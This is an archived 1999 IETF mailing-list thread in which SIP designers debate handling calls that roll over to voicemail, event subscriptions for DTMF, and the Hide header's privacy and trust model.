Subject: Re: SIP, voicemail, and UPT
References: <199906221538.KAA15437@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Another alternative: This is what caller preferences would allow you to
indicate, so that the service doesn't go to voicemail to begin with. The
problem with 280 is that the caller (or, the UPT-providing proxy) would
have to BYE the service immediately, which seems like a waste.

"Adam B. Roach" wrote:
> 
> I'd like to get a feel for what the group thinks about the following.
> 
> Most UPT services (universal personal telephone number -- the
> "dial one number and it'll find me" services) will search
> through a list of destinations until they find a number that answers.
> They don't care *what* answers; any answer will terminate the search.
> 
> Since many numbers have an automatic roll-over to voicemail, an
> answering machine, a pager, etc., these services have been
> much less useful than they potentially could be.
> 
> How would you feel about an extension to SIP -- say, a "280 Voicemail"
> response code -- which would help address this problem? Proxies
> which implement UPT services could then choose to continue
> searching after a 280 response. Since it's a 200-class response,
> any clients which don't understand it are already required to
> treat it as success, so nothing breaks, and no further requirements
> are placed on clients.
> 
> (Thanks to Dean Willis for raising this issue originally).
> 
> --
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Jun 22 10:57:01 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA12257
	for confctrl-outgoing; Tue, 22 Jun 1999 10:57:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA12252
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 10:56:59 -0700 (PDT)
Received: from omzrelay01.mcit.com (alpha.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA02319
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 10:56:57 -0700 (PDT)
Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #38416)
 id <0FDQ00E01PPN2S@firewall.mcit.com> for confctrl@ISI.EDU; Tue,
 22 Jun 1999 17:53:49 +0000 (GMT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #38416)
 with ESMTP id <0FDQ00AM1PKFVY@firewall.mcit.com>; Tue,
 22 Jun 1999 17:50:39 +0000 (GMT)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id RAA02159; Tue,
 22 Jun 1999 17:49:59 +0000 (GMT)
Received: from localHost ([166.35.151.149])
 by omta1.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990622175019.LWQI20950@localHost>; Tue,
 22 Jun 1999 12:50:19 -0500
Date: Tue, 22 Jun 1999 12:42 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
Subject: Re: SIP, voicemail, and UPT
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
Cc: confctrl@ISI.EDU
Message-id: <19990622175019.LWQI20950@localHost>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 It sounds like you are considering the case where a caller wants to
terminate to a particular type of device.  If that is the case, look
at draft-ietf-mmusic-sip-caller-00.txt Caller Preferences and Callee 
Capabilities.



Date: Tue, 22 Jun 1999 10:38 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
To: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Subject: SIP, voicemail, and UPT


I'd like to get a feel for what the group thinks about the following.

Most UPT services (universal personal telephone number -- the
"dial one number and it'll find me" services) will search
through a list of destinations until they find a number that answers. 
They don't care *what* answers; any answer will terminate the search.

Since many numbers have an automatic roll-over to voicemail, an
answering machine, a pager, etc., these services have been
much less useful than they potentially could be.

How would you feel about an extension to SIP -- say, a "280 Voicemail"
response code -- which would help address this problem? Proxies
which implement UPT services could then choose to continue
searching after a 280 response. Since it's a 200-class response,
any clients which don't understand it are already required to
treat it as success, so nothing breaks, and no further requirements
are placed on clients.

(Thanks to Dean Willis for raising this issue originally).

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Jun 22 11:06:48 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA12633
	for confctrl-outgoing; Tue, 22 Jun 1999 11:06:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA12628
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 11:06:47 -0700 (PDT)
Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA03296
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 11:06:45 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA04105;
	Tue, 22 Jun 1999 14:06:31 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id TAA18805;
	Tue, 22 Jun 1999 19:06:41 +0100 (BST)
Message-ID: <376FD0B1.F070C62C@hplb.hpl.hp.com>
Date: Tue, 22 Jun 1999 19:06:41 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: confctrl@ISI.EDU
Subject: Re: SIP, voicemail, and UPT
References: <199906221538.KAA15437@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



"Adam B. Roach" wrote:
> 
> I'd like to get a feel for what the group thinks about the following.
> 
> Most UPT services (universal personal telephone number -- the
> "dial one number and it'll find me" services) will search
> through a list of destinations until they find a number that answers.
> They don't care *what* answers; any answer will terminate the search.
> 
> Since many numbers have an automatic roll-over to voicemail, an
> answering machine, a pager, etc., these services have been
> much less useful than they potentially could be.
> 
> How would you feel about an extension to SIP -- say, a "280 Voicemail"
> response code -- which would help address this problem? Proxies
> which implement UPT services could then choose to continue
> searching after a 280 response. Since it's a 200-class response,
> any clients which don't understand it are already required to
> treat it as success, so nothing breaks, and no further requirements
> are placed on clients.

Alternatively the callee could signal to an upstream proxy that the
answering entity is in fact a voicemail thingy by redirecting to a URL
with some extension attribute, e.g.

  A -> B: INVITE sip:alice@wonderland.org SIP/2.0
  B -> A: SIP/2.0 302 Voicemail
          Contact: sip:alice@wonderland.org;voicemail

This also works for callers unaware of the new parameter but avoids the
callee allocating resources etc. for the case where the caller doesn't
want to go to voicemail, but at the cost of an extra round-trip.  In
both cases application semantics seep into the signalling protocol which
makes me a tad uncomfortable.

Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Jun 22 11:18:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA13231
	for confctrl-outgoing; Tue, 22 Jun 1999 11:18:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA13225
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 11:18:18 -0700 (PDT)
Received: from turin.trillium.com (turin.trillium.com [206.216.108.218])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04376
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 11:18:17 -0700 (PDT)
Received: (from uucp@localhost)
	by turin.trillium.com (8.8.7/8.8.7) id LAA23286;
	Tue, 22 Jun 1999 11:17:31 -0700 (PDT)
Received: from aiglos.trillium.com(198.242.58.90)
 via SMTP by turin.trillium.com, id smtpdAAAa005fk; Tue Jun 22 11:17:28 1999
Received: from isildur.trillium.com.trillium.com (isildur [198.242.58.48])
	by aiglos.trillium.com (8.9.3/8.9.3) with SMTP id LAA15459;
	Tue, 22 Jun 1999 11:17:24 -0700 (PDT)
Received: by isildur.trillium.com.trillium.com (SMI-8.6/SMI-SVR4)
	id LAA05697; Tue, 22 Jun 1999 11:05:25 -0700
Date: Tue, 22 Jun 1999 11:05:25 -0700
From: pradeep@trillium.com (Pradeep Malhotra)
Message-Id: <199906221805.LAA05697@isildur.trillium.com.trillium.com>
To: confctrl@ISI.EDU, Adam.Roach@Ericsson.com
Subject: Re: SIP, voicemail, and UPT
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-MD5: ChHfIfy6jIv83CX333jR4w==
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
	Proxies can start the search in parallel for all the possible locations
	of the user. Proxies can continue with the search for a finite time
	unless the highest priority location of the user has answered. The
	priority of the location could be registered with the server at the
	time of SIP registration. That way any services can be relatively
	priortised by the user. 
	
	In that case we will not require a special  "280 response code" 
	and 200 response code should suffice. 

regards,
pradeep



> From confctrl-owner@ISI.EDU Tue Jun 22 10:43 PDT 1999
> Subject: SIP, voicemail, and UPT
> To: confctrl@ISI.EDU
> Date: Tue, 22 Jun 1999 10:38:46 -0500 (CDT)
> From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
> MIME-Version: 1.0
> Content-Transfer-Encoding: 7bit
> 
> 
> I'd like to get a feel for what the group thinks about the following.
> 
> Most UPT services (universal personal telephone number -- the
> "dial one number and it'll find me" services) will search
> through a list of destinations until they find a number that answers. 
> They don't care *what* answers; any answer will terminate the search.
> 
> Since many numbers have an automatic roll-over to voicemail, an
> answering machine, a pager, etc., these services have been
> much less useful than they potentially could be.
> 
> How would you feel about an extension to SIP -- say, a "280 Voicemail"
> response code -- which would help address this problem? Proxies
> which implement UPT services could then choose to continue
> searching after a 280 response. Since it's a 200-class response,
> any clients which don't understand it are already required to
> treat it as success, so nothing breaks, and no further requirements
> are placed on clients.
> 
> (Thanks to Dean Willis for raising this issue originally).
> 
> -- 
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Jun 22 11:43:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA14687
	for confctrl-outgoing; Tue, 22 Jun 1999 11:43:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA14681
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 11:43:01 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA07592
	for <confctrl@isi.edu>; Tue, 22 Jun 1999 11:42:59 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id NAA09289
	for <confctrl@isi.edu>; Tue, 22 Jun 1999 13:42:34 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id NAA16412
	for <confctrl@isi.edu>; Tue, 22 Jun 1999 13:42:19 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id NAA27045 for <confctrl@isi.edu>; Tue, 22 Jun 1999 13:42:17 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id NAA16470
	for confctrl@isi.edu; Tue, 22 Jun 1999 13:42:12 -0500 (CDT)
Message-Id: <199906221842.NAA16470@b04a24.exu.ericsson.se>
Subject: DTMF
To: confctrl@ISI.EDU
Date: Tue, 22 Jun 1999 13:42:11 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Is there any ongoing work to extend the S U B S C R I B E/NOTIFY mechanism
for anything beyond presence?

There have been numerous discussions over the past several months
about the use of these methods for requesting DTMF information and
other call-trigger type events, but I believe the desired balance of
complexity with flexability hasn't been determined yet.

If anyone intends to submit a draft relating to these issues
in time for the Oslo meeting, I'd appreciate knowing. Thanks.

P.S. I've tried posting on this topic several times over the past
     week, and have come to beleive that the mailer at isi.edu has
     been programmed to silently drop messages with the word
     "S U B S C R I B E" in them (hence the spaces).

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Jun 22 13:18:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA19060
	for confctrl-outgoing; Tue, 22 Jun 1999 13:18:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA19055
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 13:18:07 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA14382
	for <confctrl@isi.edu>; Tue, 22 Jun 1999 13:18:06 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Jun 22 16:17:41 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id QAA15560;
	Tue, 22 Jun 1999 16:17:39 -0400 (EDT)
Message-ID: <376FEC3F.640B0132@dnrc.bell-labs.com>
Date: Tue, 22 Jun 1999 16:04:15 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: SIP, voicemail, and UPT
References: <199906221538.KAA15437@b04a24.exu.ericsson.se> <37701866.B8002358@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:
> 
> Another alternative: This is what caller preferences would allow you to
> indicate, so that the service doesn't go to voicemail to begin with. The
> problem with 280 is that the caller (or, the UPT-providing proxy) would
> have to BYE the service immediately, which seems like a waste.

In fact, the proxy can't easily send the BYE (security problems + CSeq
collisions), so it would have to go back to the caller.

As Henning has pointed out, this is supported readily in the calller
preferences draft. Specifically,  the INVITE would contain:

Accept-Contact: *;feature=!voice-mail

Locations with voicemail would register:

REGISTER sip:host.com
Contact: sip:mrbig@company.com;feature=voicemail


and the proxy would not forward the INVITE to these destinations.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun 22 13:22:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA19242
	for confctrl-outgoing; Tue, 22 Jun 1999 13:22:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA19237
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 13:22:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA14625
	for <confctrl@isi.edu>; Tue, 22 Jun 1999 13:22:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Jun 22 16:20:32 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id QAA15644;
	Tue, 22 Jun 1999 16:20:31 -0400 (EDT)
Message-ID: <376FECEB.2D358137@dnrc.bell-labs.com>
Date: Tue, 22 Jun 1999 16:07:07 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: confctrl@ISI.EDU
Subject: Re: DTMF
References: <199906221842.NAA16470@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In fact, Henning and I have started preparing a draft on this subject.
Its in its preliminary form; I'm not sure we'll make it in time. The
basic idea is a generic framework for SIP event subscriptions, which
will enable services like camp-on and message waiting, among others.

Thanks,
Jonathan R.

Adam B. Roach wrote:
> 
> Is there any ongoing work to extend the S U B S C R I B E/NOTIFY mechanism
> for anything beyond presence?
> 
> There have been numerous discussions over the past several months
> about the use of these methods for requesting DTMF information and
> other call-trigger type events, but I believe the desired balance of
> complexity with flexability hasn't been determined yet.
> 
> If anyone intends to submit a draft relating to these issues
> in time for the Oslo meeting, I'd appreciate knowing. Thanks.
> 
> P.S. I've tried posting on this topic several times over the past
>      week, and have come to beleive that the mailer at isi.edu has
>      been programmed to silently drop messages with the word
>      "S U B S C R I B E" in them (hence the spaces).
> 
> --
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun 22 13:38:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA19927
	for confctrl-outgoing; Tue, 22 Jun 1999 13:38:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA19921
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 13:38:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA16175
	for <confctrl@isi.edu>; Tue, 22 Jun 1999 13:38:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Jun 22 16:36:48 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id QAA16188;
	Tue, 22 Jun 1999 16:36:47 -0400 (EDT)
Message-ID: <376FF0BB.68FC6A65@dnrc.bell-labs.com>
Date: Tue, 22 Jun 1999 16:23:23 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: confctrl@ISI.EDU
Subject: Re: Hide interaction with Record-Route
References: <199906221422.JAA05591@b04a42.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sean Olson wrote:
> 
> > I guess silence probably signifies a lack of strong feelings. Personally
> > I'd be happy to see Hide disappear. It sounds like the rules for how to
> > treat this header is quickly becoming rather complicated and IMHO that's
> > a good reason for dropping it, especially if we think it may not really
> > be needed.
> >
> > --
> > Anders Kristensen <ak@hplb.hpl.hp.com>,
> > http://www-uk.hpl.hp.com/people/ak/
> > Hewlett-Packard Labs, Bristol, UK
> >
> 
> I concur. Given the growing complexity and the questionable value of the
> Hide: header, I say drop it. It gives a false sense of security and can
> just as easily be achieved by stripping the Route/Record-Route headers.

There is an additional issue worth considering, which is the somewhat
unusual trust model implied by Hide. Namely, a server is not responsible
for hiding its address - the NEXT HOP is. This implies that a server
trust the next hop to perform the encryption, and do it with sufficient
randomness added in. It also implies that the next hop puts itself in
the Record-Route. This is a lot of trust to be placed in the next hop.
If the server is another domain, it seems unlikely it will happen. Whats
the motivation for the next hop to do it? In fact, it can serve as a DOS
attack. A server can always add Hide to requests sent the to the next
hop, and that server would be forced to go call stateful in order to
perform the operation. 

If I really wanted to hide the route, I would prefer to deploy a system
where it was my own servers providing this feature. Stripping the
Via/Record-Route/Routes and replacing them on the way back works this
way. If I want the feature, my own server provides it.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun 22 16:43:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA28373
	for confctrl-outgoing; Tue, 22 Jun 1999 16:43:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA28368
	for <confctrl@zephyr.isi.edu>; Tue, 22 Jun 1999 16:43:44 -0700 (PDT)
Received: from aardvark.aciri.org (aardvark.aciri.org [192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA06022
	for <confctrl@ISI.EDU>; Tue, 22 Jun 1999 16:43:43 -0700 (PDT)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.2/8.9.2) with ESMTP id QAA71474;
	Tue, 22 Jun 1999 16:43:29 -0700 (PDT)
	(envelope-from mjh@aardvark.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Alan Johnston <alan.johnston@wcom.com>
cc: Lars Berggren <lars.berggren@intertex.se>,
        "confctrl@ISI.EDU" <confctrl@ISI.EDU>, jdrosen@bell-labs.com
Subject: Re: Hide interaction with Record-Route 
In-reply-to: Your message of "Mon, 21 Jun 1999 15:03:51 CDT."
             <376E9AA7.7FF89FC0@wcom.com> 
Date: Tue, 22 Jun 1999 16:43:29 -0700
Message-ID: <71472.930095009@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>>From the responses seen to date, it seems:
>
>1. There is interest in the SIP spec support for the Hide header and
>encrypted Via fields.
>
>2. The SIP spec should be changed to permit encrypted Record-Route and
>Route fields with the "hidden" parameter in much the same way encrypted
>Via fields are allowed.
>
>3. Proper behavior of a server which encrypts a Via header is to also
>encrypt an associated entry in a Record-Route header if present.  The
>server will also need to include itself in the Record-Route header to
>ensure it remains in the path for future messages using the Route header
>with the encrypted field.
>
>Any other issues or comments?

I think you're correct here about the proper behavior.

In general, I believe it's vital for SIP to be able to maintain
privacy and anonymity where required.  This may even be a legal
requirement in some application domains.

SIP requests and responses can, in general, reveal quite a bit of
information by the path they take through a proxy chain.  Having
mechanisms in SIP to hide or remove this information without breaking
SIP behavior is therefore of great importance.

For server-side privacy, the combination of relaying, carefully placed
proxies for the callee, and stripping the Via fields can give complete
privacy.  The path is not revealed unless a proxy wishes its presence
to be known and adds record route.  Final responses (eg 200) would
appear to reveal location, but this is not necessarily the case
because the server can, on receipt of a request, contact an
anonymizing SIP/RTP proxy to anonymize the actual end-point location,
and can give this location in the 200 response and the SDP.  Thus we
can currently have complete server-side privacy with SIP.

What we'd like to be able to do is offer the same privacy for the
caller too.  Again, this requires the use of a trusted proxy that
outgoing calls get routed through.  If this proxy is stateful, then it
can easily anonymize requests by stripping identifying fields, but we
have to be very careful about not messing up behavior by stripping
arbitrary foields when the proxy and the client are from different
vendors.  Thus you have to have this behavior carefully specified.
The requirement for anonymity is a client requirement, not a proxy
requirement, so we only want this behavior when the client actually
requests it.  Also we don't want proxies to have to be stateful.

So, what we ended up with was a way for the client to signal that they
care about privacy of the SIP routing information ("hide: route").
This can then be implemented by the proxy stripping Via fields and
storing them, or by encrypting them which allows for stateful proxies.
The model of receiver encrypts (or strips) is natural, because there's
no location information in the first Via field that isn't already
available from the source address of the request packets.  Clearly it
has little security once you get beyond the last trusted outgoing
proxy, but it is a solid mechanism until that point.  It also allows
onion-security, where each successive outgoing proxy is responsible
for hiding everything inside that trust boundary (useful for very
paranoid organizations).  What the client puts as a contact header and
in the SDP is it's own responsibility, is arranged out-of-band with a
trusted anonymizing proxy (perhaps with a secondary SIP request), and
shouldn't be closely tied to the primary signalling path.

The "hide: hop" mechanism is explictly because a request can chain
into and out of a paranoid location, and allows limited explicit
signalling to the border of the paranoid region.  This is a little
weak, compared to hide:route, but still appears to be of use.  The
reason not to use hide-route is because didn't want to confuse proxy
privacy signalling with client privacy signalling.  In general you'd
like all such intentions to be explicit rather than implicit.

Now the issue of hide interaction with record-route is something we'd
missed, and does need addressing.  The privacy requirements are
identical to Via, and the same mechanism seems perfectly appropriate.
I'd go further to suggest that outgoing trusted proxies would normally
set record-route if hide:route is set in order to ensure that
subsequent requests also pass through them and are therefore also
anonymized in the same way.

I hope this explains a little behind the motivation for the hide
field, and why I *strongly* believe it's crucial for SIP deployment in
some problem domains.

Cheers,
	Mark

From confctrl-owner  Wed Jun 23 03:35:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA21418
	for confctrl-outgoing; Wed, 23 Jun 1999 03:35:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA21361
	for <confctrl@zephyr.isi.edu>; Wed, 23 Jun 1999 03:34:59 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA02831
	for <confctrl@ISI.EDU>; Wed, 23 Jun 1999 03:34:58 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id GAA07683;
	Wed, 23 Jun 1999 06:34:30 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id LAA08548;
	Wed, 23 Jun 1999 11:34:53 +0100 (BST)
Message-ID: <3770B84D.E6292376@hplb.hpl.hp.com>
Date: Wed, 23 Jun 1999 11:34:53 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: SIP, voicemail, and UPT
References: <199906221538.KAA15437@b04a24.exu.ericsson.se> <37701866.B8002358@cs.columbia.edu> <376FEC3F.640B0132@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:
> 
> Henning Schulzrinne wrote:
> >
> > Another alternative: This is what caller preferences would allow you to
> > indicate, so that the service doesn't go to voicemail to begin with. The
> > problem with 280 is that the caller (or, the UPT-providing proxy) would
> > have to BYE the service immediately, which seems like a waste.
> 
> In fact, the proxy can't easily send the BYE (security problems + CSeq
> collisions), so it would have to go back to the caller.
> 
> As Henning has pointed out, this is supported readily in the calller
> preferences draft. Specifically,  the INVITE would contain:
> 
> Accept-Contact: *;feature=!voice-mail
> 
> Locations with voicemail would register:
> 
> REGISTER sip:host.com
> Contact: sip:mrbig@company.com;feature=voicemail
> 
> and the proxy would not forward the INVITE to these destinations.
> 

